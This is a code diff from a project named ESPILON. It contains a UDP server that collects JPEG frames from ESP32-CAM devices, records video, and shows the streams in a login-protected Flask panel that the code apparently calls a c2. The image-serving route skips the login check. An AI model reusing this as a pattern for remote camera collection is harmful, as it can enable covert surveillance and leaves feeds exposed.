Args:
udp_host: Host to bind UDP receiver
udp_port: Port for UDP receiver
web_host: Host to bind web server
web_port: Port for web server
image_dir: Directory to store camera frames
username: Web interface username
password: Web interface password
device_registry: DeviceRegistry instance for device listing
on_frame: Optional callback when frame is received (camera_id, frame, addr)
"""
self.mlat_engine = MlatEngine()
self.udp_receiver = UDPReceiver(
host=udp_host,
port=udp_port,
image_dir=image_dir,
on_frame=on_frame
)
self.web_server = UnifiedWebServer(
host=web_host,
port=web_port,
image_dir=image_dir,
username=username,
password=password,
secret_key=FLASK_SECRET_KEY,
multilat_token=MULTILAT_AUTH_TOKEN,
device_registry=device_registry,
mlat_engine=self.mlat_engine
)
@property
def is_running(self) -> bool:
"""Check if both servers are running."""
return self.udp_receiver.is_running and self.web_server.is_running
@property
def udp_running(self) -> bool:
return self.udp_receiver.is_running
@property
def web_running(self) -> bool:
return self.web_server.is_running
def start(self) -> dict:
"""
Start both UDP receiver and web server.
Returns:
dict with status of each server
"""
results = {
"udp": {"started": False, "host": self.udp_receiver.host, "port": self.udp_receiver.port},
"web": {"started": False, "host": self.web_server.host, "port": self.web_server.port}
}
if self.udp_receiver.start():
results["udp"]["started"] = True
if self.web_server.start():
results["web"]["started"] = True
results["web"]["url"] = self.web_server.get_url()
return results
def stop(self) -> dict:
"""
Stop both servers.
Returns:
dict with stop status
"""
self.udp_receiver.stop()
self.web_server.stop()
return {
"udp": {"stopped": True},
"web": {"stopped": True}
}
def get_status(self) -> dict:
"""Get status of both servers."""
return {
"udp": {
"running": self.udp_receiver.is_running,
"host": self.udp_receiver.host,
"port": self.udp_receiver.port,
**self.udp_receiver.get_stats()
},
"web": {
"running": self.web_server.is_running,
"host": self.web_server.host,
"port": self.web_server.port,
"url": self.web_server.get_url() if self.web_server.is_running else None
}
}
def get_active_cameras(self) -> list:
"""Get list of active camera IDs."""
return self.udp_receiver.active_cameras

View File

@ -0,0 +1,468 @@
"""UDP server for receiving camera frames from ESP devices.
Protocol from ESP32:
- TOKEN + "START" -> Start of new frame
- TOKEN + chunk -> JPEG data chunk
- TOKEN + "END" -> End of frame, decode and process
"""
import os
import socket
import threading
import time
import cv2
import numpy as np
from datetime import datetime
from typing import Optional, Callable, Dict
from .config import (
UDP_HOST, UDP_PORT, UDP_BUFFER_SIZE,
SECRET_TOKEN, IMAGE_DIR,
VIDEO_FPS, VIDEO_CODEC
)
# Camera timeout - mark as inactive after this many seconds without frames
CAMERA_TIMEOUT_SECONDS = 5
class FrameAssembler:
"""Assembles JPEG frames from multiple UDP packets."""
def __init__(self, timeout: float = 5.0):
self.timeout = timeout
self.buffer = bytearray()
self.start_time: Optional[float] = None
self.receiving = False
def start_frame(self):
self.buffer = bytearray()
self.start_time = time.time()
self.receiving = True
def add_chunk(self, data: bytes) -> bool:
if not self.receiving:
return False
if self.start_time and (time.time() - self.start_time) > self.timeout:
self.reset()
return False
self.buffer.extend(data)
return True
def finish_frame(self) -> Optional[bytes]:
if not self.receiving or len(self.buffer) == 0:
return None
data = bytes(self.buffer)
self.reset()
return data
def reset(self):
self.buffer = bytearray()
self.start_time = None
self.receiving = False
class CameraRecorder:
"""Handles video recording for a single camera."""
def __init__(self, camera_id: str, output_dir: str):
self.camera_id = camera_id
self.output_dir = output_dir
self._writer: Optional[cv2.VideoWriter] = None
self._video_size: Optional[tuple] = None
self._recording = False
self._filename: Optional[str] = None
self._frame_count = 0
self._start_time: Optional[float] = None
@property
def is_recording(self) -> bool:
return self._recording
@property
def filename(self) -> Optional[str]:
return self._filename
@property
def duration(self) -> float:
if self._start_time:
return time.time() - self._start_time
return 0
@property
def frame_count(self) -> int:
return self._frame_count
def start(self) -> str:
if self._recording:
return self._filename
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
safe_id = self.camera_id.replace(":", "_").replace(".", "_")
self._filename = f"recording_{safe_id}_{timestamp}.avi"
self._recording = True
self._frame_count = 0
self._start_time = time.time()
return self._filename
def stop(self) -> dict:
if not self._recording:
return {"error": "Not recording"}
self._recording = False
result = {
"filename": self._filename,
"frames": self._frame_count,
"duration": self.duration
}
if self._writer:
self._writer.release()
self._writer = None
self._video_size = None
return result
def write_frame(self, frame: np.ndarray):
if not self._recording:
return
if self._writer is None:
self._video_size = (frame.shape[1], frame.shape[0])
fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC)
video_path = os.path.join(self.output_dir, self._filename)
self._writer = cv2.VideoWriter(
video_path, fourcc, VIDEO_FPS, self._video_size
)
if self._writer and self._writer.isOpened():
self._writer.write(frame)
self._frame_count += 1
class UDPReceiver:
"""Receives JPEG frames via UDP from ESP camera devices."""
def __init__(self,
host: str = UDP_HOST,
port: int = UDP_PORT,
image_dir: str = IMAGE_DIR,
on_frame: Optional[Callable] = None,
device_registry=None):
self.host = host
self.port = port
self.image_dir = image_dir
self.on_frame = on_frame
self.device_registry = device_registry
self._sock: Optional[socket.socket] = None
self._thread: Optional[threading.Thread] = None
self._stop_event = threading.Event()
# Frame assemblers per source address
self._assemblers: Dict[str, FrameAssembler] = {}
# Per-camera recorders (keyed by device_id)
self._recorders: Dict[str, CameraRecorder] = {}
self._recordings_dir = os.path.join(os.path.dirname(image_dir), "recordings")
# IP to device_id mapping cache
self._ip_to_device: Dict[str, str] = {}
# Statistics
self.frames_received = 0
self.invalid_tokens = 0
self.decode_errors = 0
self.packets_received = 0
# Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}}
self._active_cameras: Dict[str, dict] = {}
os.makedirs(self.image_dir, exist_ok=True)
os.makedirs(self._recordings_dir, exist_ok=True)
def set_device_registry(self, registry):
"""Set device registry for IP to device_id lookup."""
self.device_registry = registry
@property
def is_running(self) -> bool:
return self._thread is not None and self._thread.is_alive()
@property
def active_cameras(self) -> list:
"""Returns list of active camera device IDs."""
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
"""Look up device_id from IP address using device registry."""
# Check cache first
if ip in self._ip_to_device:
return self._ip_to_device[ip]
# Look up in device registry
if self.device_registry:
for device in self.device_registry.all():
if device.address and device.address[0] == ip:
self._ip_to_device[ip] = device.id
return device.id
return None
def start(self) -> bool:
if self.is_running:
return False
self._stop_event.clear()
self._thread = threading.Thread(target=self._receive_loop, daemon=True)
self._thread.start()
# Start timeout checker
self._timeout_thread = threading.Thread(target=self._timeout_checker, daemon=True)
self._timeout_thread.start()
return True
def stop(self):
self._stop_event.set()
if self._sock:
try:
self._sock.close()
except Exception:
pass
self._sock = None
for recorder in self._recorders.values():
if recorder.is_recording:
recorder.stop()
self._cleanup_frames()
self._active_cameras.clear()
self._assemblers.clear()
self._recorders.clear()
self._ip_to_device.clear()
self.frames_received = 0
self.packets_received = 0
def _cleanup_frames(self):
"""Remove all .jpg files from image directory."""
try:
for f in os.listdir(self.image_dir):
if f.endswith(".jpg"):
os.remove(os.path.join(self.image_dir, f))
except Exception:
pass
def _timeout_checker(self):
"""Check for camera timeouts and mark them as inactive."""
while not self._stop_event.is_set():
time.sleep(1)
now = time.time()
for camera_id, info in list(self._active_cameras.items()):
last_frame = info.get("last_frame", 0)
was_active = info.get("active", False)
if now - last_frame > CAMERA_TIMEOUT_SECONDS:
if was_active:
self._active_cameras[camera_id]["active"] = False
# Remove the frame file so frontend shows default image
self._remove_camera_frame(camera_id)
def _remove_camera_frame(self, camera_id: str):
"""Remove the frame file for a camera."""
try:
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
if os.path.exists(filepath):
os.remove(filepath)
except Exception:
pass
def _get_assembler(self, addr: tuple) -> FrameAssembler:
key = f"{addr[0]}:{addr[1]}"
if key not in self._assemblers:
self._assemblers[key] = FrameAssembler()
return self._assemblers[key]
def _get_recorder(self, camera_id: str) -> CameraRecorder:
if camera_id not in self._recorders:
self._recorders[camera_id] = CameraRecorder(camera_id, self._recordings_dir)
return self._recorders[camera_id]
def _receive_loop(self):
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._sock.bind((self.host, self.port))
self._sock.settimeout(1.0)
print(f"[UDP] Receiver started on {self.host}:{self.port}")
while not self._stop_event.is_set():
try:
data, addr = self._sock.recvfrom(UDP_BUFFER_SIZE)
except socket.timeout:
continue
except OSError:
break
self.packets_received += 1
if not data.startswith(SECRET_TOKEN):
self.invalid_tokens += 1
continue
payload = data[len(SECRET_TOKEN):]
assembler = self._get_assembler(addr)
# Try to get device_id from IP, fallback to IP if not found
ip = addr[0]
device_id = self._get_device_id_from_ip(ip)
if not device_id:
# Fallback: use IP (without port to avoid duplicates)
device_id = ip.replace(".", "_")
if payload == b"START":
assembler.start_frame()
continue
elif payload == b"END":
frame_data = assembler.finish_frame()
if frame_data:
self._process_complete_frame(device_id, frame_data, addr)
continue
else:
if not assembler.receiving:
frame = self._decode_frame(payload)
if frame is not None:
self._process_frame(device_id, frame, addr)
else:
self.decode_errors += 1
else:
assembler.add_chunk(payload)
if self._sock:
self._sock.close()
self._sock = None
print("[UDP] Receiver stopped")
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
frame = self._decode_frame(frame_data)
if frame is None:
self.decode_errors += 1
return
self._process_frame(camera_id, frame, addr)
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
self.frames_received += 1
# Update camera tracking
self._active_cameras[camera_id] = {
"last_frame": time.time(),
"active": True,
"addr": addr
}
# Save frame
self._save_frame(camera_id, frame)
# Record if recording is active for this camera
recorder = self._get_recorder(camera_id)
if recorder.is_recording:
recorder.write_frame(frame)
if self.on_frame:
self.on_frame(camera_id, frame, addr)
def _decode_frame(self, data: bytes) -> Optional[np.ndarray]:
try:
npdata = np.frombuffer(data, np.uint8)
frame = cv2.imdecode(npdata, cv2.IMREAD_COLOR)
return frame
except Exception:
return None
def _save_frame(self, camera_id: str, frame: np.ndarray):
try:
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
cv2.imwrite(filepath, frame)
except Exception:
pass
# === Recording API ===
def start_recording(self, camera_id: str) -> dict:
if camera_id not in self._active_cameras or not self._active_cameras[camera_id].get("active"):
return {"error": f"Camera {camera_id} not active"}
recorder = self._get_recorder(camera_id)
if recorder.is_recording:
return {"error": "Already recording", "filename": recorder.filename}
filename = recorder.start()
return {"status": "recording", "filename": filename, "camera_id": camera_id}
def stop_recording(self, camera_id: str) -> dict:
if camera_id not in self._recorders:
return {"error": f"No recorder for {camera_id}"}
recorder = self._recorders[camera_id]
if not recorder.is_recording:
return {"error": "Not recording"}
result = recorder.stop()
result["camera_id"] = camera_id
result["path"] = os.path.join(self._recordings_dir, result["filename"])
return result
def get_recording_status(self, camera_id: str = None) -> dict:
if camera_id:
if camera_id not in self._recorders:
return {"camera_id": camera_id, "recording": False}
recorder = self._recorders[camera_id]
return {
"camera_id": camera_id,
"recording": recorder.is_recording,
"filename": recorder.filename,
"duration": recorder.duration,
"frames": recorder.frame_count
}
result = {}
for cid, info in self._active_cameras.items():
if info.get("active"):
recorder = self._get_recorder(cid)
result[cid] = {
"recording": recorder.is_recording,
"filename": recorder.filename if recorder.is_recording else None,
"duration": recorder.duration if recorder.is_recording else 0
}
return result
def list_recordings(self) -> list:
try:
files = []
for f in os.listdir(self._recordings_dir):
if f.endswith(".avi"):
path = os.path.join(self._recordings_dir, f)
stat = os.stat(path)
files.append({
"filename": f,
"size": stat.st_size,
"created": stat.st_mtime
})
return sorted(files, key=lambda x: x["created"], reverse=True)
except Exception:
return []
def get_stats(self) -> dict:
recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
return {
"running": self.is_running,
"packets_received": self.packets_received,
"frames_received": self.frames_received,
"invalid_tokens": self.invalid_tokens,
"decode_errors": self.decode_errors,
"active_cameras": active_count,
"active_recordings": recording_count
}

View File

@ -0,0 +1,158 @@
"""Flask web server for camera stream display."""
import os
import logging
import threading
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
from werkzeug.serving import make_server
from .config import (
WEB_HOST, WEB_PORT, FLASK_SECRET_KEY,
DEFAULT_USERNAME, DEFAULT_PASSWORD, IMAGE_DIR
)
# Disable Flask/Werkzeug request logging
logging.getLogger('werkzeug').setLevel(logging.ERROR)
class WebServer:
"""Flask-based web server for viewing camera streams."""
def __init__(self,
host: str = WEB_HOST,
port: int = WEB_PORT,
image_dir: str = IMAGE_DIR,
username: str = DEFAULT_USERNAME,
password: str = DEFAULT_PASSWORD):
self.host = host
self.port = port
self.image_dir = image_dir
self.username = username
self.password = password
self._app = self._create_app()
self._server = None
self._thread = None
@property
def is_running(self) -> bool:
return self._thread is not None and self._thread.is_alive()
def _create_app(self) -> Flask:
"""Create and configure the Flask application."""
# Get the c2 root directory for templates
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
template_dir = os.path.join(c2_root, "templates")
static_dir = os.path.join(c2_root, "static")
app = Flask(__name__,
template_folder=template_dir,
static_folder=static_dir)
app.secret_key = FLASK_SECRET_KEY
# Store reference to self for route handlers
web_server = self
@app.route("/login", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username == web_server.username and password == web_server.password:
session["logged_in"] = True
return redirect(url_for("index"))
else:
error = "Invalid credentials."
return render_template("login.html", error=error)
@app.route("/logout")
def logout():
session.pop("logged_in", None)
return redirect(url_for("login"))
@app.route("/")
def index():
if not session.get("logged_in"):
return redirect(url_for("login"))
# List available camera images
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
image_files = sorted([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
image_files = []
if not image_files:
image_files = []
return render_template("index.html", image_files=image_files)
@app.route("/streams/<filename>")
def stream_image(filename):
full_image_dir = os.path.join(c2_root, web_server.image_dir)
return send_from_directory(full_image_dir, filename)
@app.route("/api/cameras")
def api_cameras():
"""API endpoint to get list of active cameras."""
if not session.get("logged_in"):
return jsonify({"error": "Unauthorized"}), 401
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
cameras = [
f.replace(".jpg", "")
for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
]
except FileNotFoundError:
cameras = []
return jsonify({"cameras": cameras})
@app.route("/api/stats")
def api_stats():
"""API endpoint for server statistics."""
if not session.get("logged_in"):
return jsonify({"error": "Unauthorized"}), 401
full_image_dir = os.path.join(c2_root, web_server.image_dir)
try:
camera_count = len([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
camera_count = 0
return jsonify({
"active_cameras": camera_count,
"server_running": True
})
return app
def start(self) -> bool:
"""Start the web server in a background thread."""
if self.is_running:
return False
self._server = make_server(self.host, self.port, self._app, threaded=True)
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
self._thread.start()
return True
def stop(self):
"""Stop the web server."""
if self._server:
self._server.shutdown()
self._server = None
self._thread = None
def get_url(self) -> str:
"""Get the server URL."""
return f"http://{self.host}:{self.port}"

View File

@ -0,0 +1,52 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{% block title %}ESPILON{% endblock %}</title>
<link rel="stylesheet" href="{{ url_for('static', filename='css/main.css') }}">
{% block head %}{% endblock %}
</head>
<body>
<header>
<div class="logo">ESPILON</div>
<nav class="main-nav">
<a href="/dashboard" class="nav-link {% if active_page == 'dashboard' %}active{% endif %}">
Dashboard
</a>
<a href="/cameras" class="nav-link {% if active_page == 'cameras' %}active{% endif %}">
Cameras
</a>
<a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}">
MLAT
</a>
</nav>
<div class="header-right">
<div class="status">
<div class="status-dot"></div>
<span id="device-count">-</span> device(s)
</div>
<a href="/logout" class="logout">Logout</a>
</div>
</header>
<main>
{% block content %}{% endblock %}
</main>
<script>
// Update device count in header
async function updateStats() {
try {
const res = await fetch('/api/stats');
const data = await res.json();
document.getElementById('device-count').textContent = data.connected_devices || 0;
} catch (e) {}
}
updateStats();
setInterval(updateStats, 10000);
</script>
{% block scripts %}{% endblock %}
</body>
</html>

View File

@ -0,0 +1,270 @@
{% extends "base.html" %}
{% block title %}Cameras - ESPILON{% endblock %}
{% block content %}
<div class="page-header">
<div class="page-title">Cameras <span>Live Feed</span></div>
<div class="status">
<div class="status-dot"></div>
<span id="camera-count">{{ image_files|length }}</span> camera(s)
</div>
</div>
{% if image_files %}
<div class="grid grid-cameras" id="grid">
{% for img in image_files %}
<div class="card" data-camera-id="{{ img.replace('.jpg', '') }}">
<div class="card-header">
<span class="name">{{ img.replace('.jpg', '').replace('_', ':') }}</span>
<div class="card-actions">
<button class="btn-record" data-camera="{{ img.replace('.jpg', '') }}" title="Start Recording">
<svg width="14" height="14" viewBox="0 0 24 24" fill="currentColor">
<circle cx="12" cy="12" r="8"/>
</svg>
</button>
<span class="badge badge-live">LIVE</span>
</div>
</div>
<div class="card-body card-body-image">
<img src="/streams/{{ img }}?t=0"
data-src="/streams/{{ img }}"
data-default="/static/images/no-signal.png"
onerror="this.src=this.dataset.default">
</div>
<div class="record-indicator" style="display: none;">
<span class="record-dot"></span>
<span class="record-time">00:00</span>
</div>
</div>
{% endfor %}
</div>
{% else %}
<div class="empty-cameras">
<div class="no-signal-container">
<img src="/static/images/no-signal.png" alt="No Signal" class="no-signal-img">
<h2>No active cameras</h2>
<p>Waiting for ESP32-CAM devices to send frames on UDP port 5000</p>
</div>
</div>
{% endif %}
{% endblock %}
{% block scripts %}
<style>
.card-actions {
display: flex;
align-items: center;
gap: 8px;
}
.btn-record {
width: 28px;
height: 28px;
border-radius: 50%;
border: none;
background: var(--bg-elevated);
color: var(--text-secondary);
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s ease;
}
.btn-record:hover {
background: var(--status-error-bg);
color: var(--status-error);
}
.btn-record.recording {
background: var(--status-error);
color: white;
animation: pulse-record 1.5s infinite;
}
@keyframes pulse-record {
0%, 100% { opacity: 1; }
50% { opacity: 0.6; }
}
.record-indicator {
padding: 8px 16px;
background: var(--bg-elevated);
border-top: 1px solid var(--border-color);
display: flex;
align-items: center;
gap: 8px;
font-size: 12px;
color: var(--status-error);
}
.record-dot {
width: 8px;
height: 8px;
background: var(--status-error);
border-radius: 50%;
animation: pulse-record 1s infinite;
}
.record-time {
font-family: 'JetBrains Mono', monospace;
font-weight: 600;
}
.empty-cameras {
display: flex;
justify-content: center;
align-items: center;
min-height: 60vh;
}
.no-signal-container {
text-align: center;
}
.no-signal-img {
max-width: 300px;
margin-bottom: 24px;
opacity: 0.8;
border-radius: 12px;
}
.no-signal-container h2 {
font-size: 20px;
color: var(--text-primary);
margin-bottom: 8px;
}
.no-signal-container p {
color: var(--text-muted);
font-size: 14px;
}
.card-body-image img {
min-height: 180px;
object-fit: contain;
background: var(--bg-tertiary);
}
</style>
<script>
// Recording state
const recordingState = {};
// Refresh camera images
function refresh() {
const t = Date.now();
document.querySelectorAll('.card-body-image img').forEach(img => {
// Only update if not showing default image
if (!img.src.includes('no-signal')) {
img.src = img.dataset.src + '?t=' + t;
}
});
}
// Check for new/removed cameras
async function checkCameras() {
try {
const res = await fetch('/api/cameras');
const data = await res.json();
const current = document.querySelectorAll('.card').length;
document.getElementById('camera-count').textContent = data.count || 0;
// Update recording states
if (data.cameras) {
data.cameras.forEach(cam => {
updateRecordingUI(cam.id, cam.recording);
});
}
if (data.count !== current) location.reload();
} catch (e) {}
}
// Update recording UI
function updateRecordingUI(cameraId, isRecording) {
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
if (!card) return;
const btn = card.querySelector('.btn-record');
const indicator = card.querySelector('.record-indicator');
if (isRecording) {
btn.classList.add('recording');
btn.title = 'Stop Recording';
indicator.style.display = 'flex';
// Start timer if not already
if (!recordingState[cameraId]) {
recordingState[cameraId] = { startTime: Date.now() };
}
} else {
btn.classList.remove('recording');
btn.title = 'Start Recording';
indicator.style.display = 'none';
delete recordingState[cameraId];
}
}
// Update recording timers
function updateTimers() {
for (const [cameraId, state] of Object.entries(recordingState)) {
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
if (!card) continue;
const timeEl = card.querySelector('.record-time');
if (timeEl) {
const elapsed = Math.floor((Date.now() - state.startTime) / 1000);
const mins = Math.floor(elapsed / 60).toString().padStart(2, '0');
const secs = (elapsed % 60).toString().padStart(2, '0');
timeEl.textContent = `${mins}:${secs}`;
}
}
}
// Toggle recording
async function toggleRecording(cameraId) {
const btn = document.querySelector(`[data-camera="${cameraId}"]`);
const isRecording = btn.classList.contains('recording');
try {
const endpoint = isRecording ? 'stop' : 'start';
const res = await fetch(`/api/recording/${endpoint}/${cameraId}`, {
method: 'POST'
});
const data = await res.json();
if (data.error) {
console.error('Recording error:', data.error);
return;
}
updateRecordingUI(cameraId, !isRecording);
if (!isRecording) {
recordingState[cameraId] = { startTime: Date.now() };
}
} catch (e) {
console.error('Recording toggle failed:', e);
}
}
// Event listeners
document.querySelectorAll('.btn-record').forEach(btn => {
btn.addEventListener('click', (e) => {
e.preventDefault();
const cameraId = btn.dataset.camera;
toggleRecording(cameraId);
});
});
// Intervals
setInterval(refresh, 100);
setInterval(checkCameras, 5000);
setInterval(updateTimers, 1000);
// Initial check
checkCameras();
</script>
{% endblock %}

View File

@ -0,0 +1,158 @@
{% extends "base.html" %}
{% block title %}Dashboard - ESPILON{% endblock %}
{% block content %}
<div class="page-header">
<div class="page-title">Dashboard <span>Connected Devices</span></div>
<div class="header-stats">
<div class="stat">
<span class="stat-value" id="device-count">0</span>
<span class="stat-label">Devices</span>
</div>
<div class="stat">
<span class="stat-value" id="active-count">0</span>
<span class="stat-label">Active</span>
</div>
</div>
</div>
<div id="devices-grid" class="grid">
<!-- Devices loaded via JavaScript -->
</div>
<div id="empty-state" class="empty-lain" style="display: none;">
<div class="lain-container">
<pre class="lain-ascii">
⠠⡐⢠⠂⠥⠒⡌⠰⡈⢆⡑⢢⠘⡐⢢⠑⢢⠁⠦⢡⢂⠣⢌⠒⡄⢃⠆⡱⢌⠒⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⡀⢀⠀⠠⠀⠠⠀⠀⠀⠀⠀⠀⠀⠣⢘⡐⢢⢡⠒⡌⠒⠤⢃⠜⡰⢈⠔⢢⠑⢢⠑⡌⠒⡌⠰⢌⠒⡰⢈⠒⢌⠢⡑⢢⠁⠎⠤⡑⢂⠆⡑⠢⢌
⠠⠑⣂⢉⠒⡥⠘⡡⢑⠢⡘⠤⡉⠔⡡⠊⡅⠚⡌⠢⠜⡰⢈⡒⠌⡆⡍⠐⠀⠀⠀⠀⠀⠂⠄⡐⠀⠀⠀⠐⠀⠀⠂⠈⠐⠀⠄⠂⠀⠂⠁⢀⠀⠠⢀⠀⠀⠀⡀⠀⠈⠢⢡⢊⠔⣉⠦⡁⢎⠰⡉⠆⡑⢊⠔⢃⠌⡱⢈⠣⡘⢄⠃⡡⠋⡄⢓⡈⢆⡉⠎⡰⢉⠆⡘⠡⢃⠌
⠠⠓⡄⢊⠔⢢⠑⡐⠣⡑⢌⠢⠱⡘⢄⠓⡌⠱⢠⡉⠆⡅⢣⠘⠈⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠠⠀⠁⠌⠀⠀⠈⠀⠈⠀⠐⠀⡀⠂⠀⠐⠀⠂⠁⡀⠠⠁⠀⠀⠀⠀⠀⠀⠈⠘⡄⢢⠑⡌⢢⠑⡌⠱⡈⠜⡐⣊⠔⡡⢒⠡⢊⠔⡡⠓⡈⠦⠘⠤⡘⢢⠑⡌⢢⠑⡃⢎⡘
⠐⡅⢊⠤⡉⢆⠱⣈⠱⡈⢆⠡⡃⠜⡠⢃⠌⣑⠢⢌⡱⠈⠁⠀⠀⠀⠠⠈⠀⠀⡐⠈⢀⠠⠀⢀⠐⠀⠈⠀⠐⠀⢁⠀⠂⡀⠀⢀⠐⠠⠁⠈⠀⠀⠀⠀⠀⠡⠐⠀⠂⠀⠀⠀⠀⠀⠁⠊⠴⡁⢎⠰⢡⠘⢢⠑⡄⢊⠔⡡⢊⠔⡨⢐⠡⠜⡰⠉⢆⡑⠢⡑⣈⠆⡱⢈⠆⡘
⠐⡌⢂⠒⣡⠊⡔⢠⠃⡜⢠⠃⡜⢠⠱⣈⠒⡌⢒⠢⠁⠀⠀⠀⠀⠄⠡⢀⠀⠀⠀⠂⠄⠀⠄⠀⢀⠀⠂⠈⠀⠡⠀⠐⠠⠀⠈⠀⠄⠀⠂⠀⠠⠀⠀⠐⠈⠐⠀⠡⢀⠈⠀⠄⠀⠀⠀⠀⠐⡁⢎⡘⠤⡉⢆⠡⡘⠤⢃⠔⡡⢎⠰⢉⠢⠱⣀⠋⠤⢌⠱⡐⠄⢎⠰⡁⢎⠰
⠐⢌⠢⡑⢄⠣⢌⠢⡑⢌⠢⡑⢌⠢⡑⢄⠣⡘⠂⠀⠀⠀⠀⠁⠀⠀⢀⠀⡈⠄⠐⠠⠀⢀⠀⠄⠂⡀⠀⠄⠈⡀⠀⠂⠀⠐⠀⢁⠀⠁⠠⠈⠀⠀⡁⠀⠁⠀⠀⠀⠄⠀⠂⡀⠂⠌⡀⠁⠀⠈⠢⡘⠤⡑⢌⠢⠑⡌⢢⠘⡐⢢⠑⡌⢢⠑⠤⣉⠒⡌⢢⠡⡉⢆⠱⡐⢌⠱
⡈⢆⠱⡈⢆⠱⡈⢔⡈⢆⠱⣈⢂⠆⡱⢈⢆⠁⠀⠀⠀⠐⠈⠀⠌⠐⡀⠀⠐⢀⠀⠂⠁⠄⠈⠀⡐⠀⠂⠈⠄⠐⠠⠀⠁⠄⡈⠠⠀⠂⢀⠠⠁⠄⠀⢈⠀⠀⡀⠠⢀⠀⠄⢀⠈⠄⠀⡀⠂⠀⠀⠁⠆⢍⠢⣉⠒⡌⢄⠣⡘⢄⠣⡐⢡⠊⡔⢠⠃⠜⣀⠣⡘⢄⠣⡘⢠⢃
⠐⡌⠰⡁⢎⠰⡁⢆⡘⢄⠣⡐⢌⠢⡑⢌⠂⠀⠀⠀⠀⠁⢀⠈⠀⢀⠀⠌⠐⠀⠈⠐⠀⠂⠌⠀⡀⠀⠀⠠⠈⠀⠄⠈⠀⠂⠀⠐⠀⠈⡀⠠⠀⠈⢀⠀⠂⠀⡀⠀⢀⠀⠈⠀⠀⡀⠀⠄⠀⡁⠂⠀⠘⡄⠣⢄⠣⡘⢄⠊⡔⠌⢢⠉⢆⠱⣈⠤⣉⠒⡄⢣⠘⡄⢣⠘⡄⣊
⠂⡌⠱⡈⠆⠥⡘⠤⡈⢆⠱⡈⢆⠱⡈⠎⠀⠀⠀⠀⠈⠄⠀⠀⠂⡀⠀⠠⠀⠂⠐⠈⠀⡁⠀⠀⠀⠀⠄⠁⠀⠀⠀⠀⠀⢀⠀⠄⡀⠠⠀⠀⠠⠁⠀⠄⠀⠄⠠⠐⠀⠀⠀⠄⠀⠄⡁⠠⠐⠀⠂⠀⠀⠨⡑⢌⢂⠱⣈⠒⡌⡘⠤⣉⢂⠒⡄⡒⢄⠣⡘⠄⢣⠘⡄⠣⠔⢢
⠐⡨⠑⡌⣘⠢⡑⢢⠑⣈⠆⡱⢈⠦⡁⠀⠀⠄⠠⠐⠀⠀⠂⠀⡐⠀⠈⠀⠀⡁⠂⠐⠀⠀⠀⠀⢂⠀⠀⠠⠁⠀⠀⠀⠈⠀⠀⠐⠀⠀⠠⠀⠐⠀⠈⠀⠀⠀⠄⠐⠀⠌⠠⠀⠄⠀⡀⠀⠂⠐⡀⠁⠀⠀⠑⡌⢢⠑⡄⢣⠘⡄⢣⠐⡌⢒⡰⢁⠎⣐⠡⢊⠅⡒⢌⠱⡈⢆
⠁⢆⠱⡐⢢⠑⡌⢢⠑⡂⠜⣀⠣⠂⠀⠀⠀⠀⠀⠀⠈⠀⢀⠀⠄⠀⠂⠁⠀⠄⠠⠀⠀⠀⠌⠀⠀⢠⡀⠀⠀⠀⠄⠀⠀⠠⠀⠂⡀⠄⠀⠀⠄⠈⠀⠀⠄⠀⠀⠀⠂⠠⠀⠀⡐⠠⠀⠁⠐⠀⠀⠐⠀⡀⠀⠘⡄⢣⠘⡄⢣⠘⡄⢣⠐⡡⢂⠥⢊⢄⠣⢌⢂⠱⡈⢆⠱⣈
⢉⠢⢡⠘⣄⠊⡔⢡⠊⡜⢠⣁⠃⠀⠀⠀⠂⠁⡀⠀⠐⠀⡀⠠⠀⠂⠐⠠⠈⠀⠀⠀⢀⠁⠀⠀⠀⢰⣧⡟⠀⠀⢀⠀⠠⠀⠁⠀⠀⠀⠂⠁⠈⠀⠀⠄⠀⠀⠀⠀⠀⠠⢀⠁⠀⠀⠂⠈⠀⠠⠁⠀⠀⠀⠀⠀⠘⡄⢣⠘⡄⢣⠘⡄⢃⠆⡡⠘⣄⠊⡔⡈⢆⠡⢒⡈⢒⠤
⢂⡑⢢⠑⡄⡊⠔⡡⢊⠔⡡⢂⠄⠀⠀⠡⠀⠐⠀⠀⠁⠐⢀⠁⠄⠀⢂⠀⠄⡀⠁⠈⠀⠀⠀⠀⠀⣸⣿⣿⡄⠈⠀⢈⠀⠀⠀⡀⠀⠀⢀⠈⠀⠀⠀⠀⡀⠄⠀⠀⠀⠐⡀⠈⠀⠄⠁⡐⠈⠀⠄⠠⠀⠀⠀⠀⠀⡜⢠⢃⠜⡠⠑⡌⢢⠘⡄⠣⢄⠣⡐⢡⠊⡔⢡⠘⡌⠒
